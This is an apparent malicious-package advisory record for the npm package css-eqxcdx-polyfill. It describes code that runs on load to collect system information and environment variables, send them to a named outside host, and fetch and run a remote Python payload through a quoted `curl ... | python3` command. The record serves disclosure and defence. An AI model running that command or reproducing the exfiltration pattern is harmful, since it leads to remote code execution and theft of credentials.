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Malicious code in css-eqxcdx-polyfill (npm)

Type: advisorySource: OSV1 source record

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (a93fe0298f7671177e324947b2bf89ec3729b203621f7ca67aa8cd10439306a2) The package presents itself as a polyfill exporting Wix thunderbolt-style registry stubs (thunderboltRegistry, siteAssetsRegistry, documentManagementRegistry, editorRegistry, corvidRegistry, etc.), but thunderboltRegistry.js runs an IIFE on module load that performs two installer-side attacks. First, it executes `id`, `whoami`, `env`, and `ifconfig`/`ip addr` via child_process.execSync, collects the OS hostname, and POSTs the output together with a wholesale dump of process environment variables via fetch() to the hardcoded Burp Collaborator OAST host https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/, including a tagged `cmd=env` beacon. Environment variables on developer and CI hosts routinely contain cloud, registry, and CI credentials. Second, it runs `curl -L https://appsecc.com/py | python3` via execSync, fetching and executing an arbitrary remote Python payload on the installer's machine, with a self-labeled `cmd=reverse-shell` beacon sent to the same OAST host. The registry-API facade and the Wix-adjacent naming are cover for the reconnaissance and remote code execution in the same file; the package has no legitimate functionality.

Announced Source revision 1
Original source ↗

MAL-2026-17573

Primary source · Revision 1

Imported from structured advisory data. Source references identify upstream records or fields; verify affected versions and your deployed configuration.

Security context

Source reference: osv:MAL-2026-17573

css-eqxcdx-polyfill

Source reference: /affected/0/package/name

Affected versions
1.0.0

Source reference: /affected/0/versions

Fixed versions
Not stated in this record
Prerequisites
Not stated in this record

Structured affected-version data

Original package identities and version rules from this source.

[
  {
    "package": {
      "name": "css-eqxcdx-polyfill",
      "purl": "pkg:npm/css-eqxcdx-polyfill",
      "ecosystem": "npm"
    },
    "versions": [
      "1.0.0"
    ],
    "database_specific": {
      "cwes": [
        {
          "name": "Embedded Malicious Code",
          "cweId": "CWE-506",
          "description": "The product contains code that appears to be malicious in nature."
        }
      ],
      "source": "https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/css-eqxcdx-polyfill/MAL-2026-17573.json",
      "indicators": {
        "evidence_files": [
          {
            "path": "thunderboltRegistry.js",
            "tlsh": "e07131b5b99df02166c33438db7f5049b4bb86672c6caee0740899b01f7585c01ba6f4",
            "sha256": "098fac4f87d662808d1fcb744c79416ac42dd1ae997a1f96a998f2f3b46ce699"
          }
        ],
        "package_integrity": [
          {
            "hashes": {
              "sha1": "7557c9d44b83fa297b2e679935c315e8c63186c5",
              "sha512_sri": "sha512-K2Cyx29csVIzcdLgoftJ1PQfZBb8NB8x28Hl8TRWDN+4ZLcgL7uFBSPd4rIgt9MXy/fWsOWXMSWXX8QPTeUJTg=="
            },
            "filename": "css-eqxcdx-polyfill-1.0.0.tgz"
          }
        ]
      }
    }
  }
]

Publisher severity

No explicit severity was provided.

Event
#84295 · Revision 1
Added to Heist Feed
Publisher date
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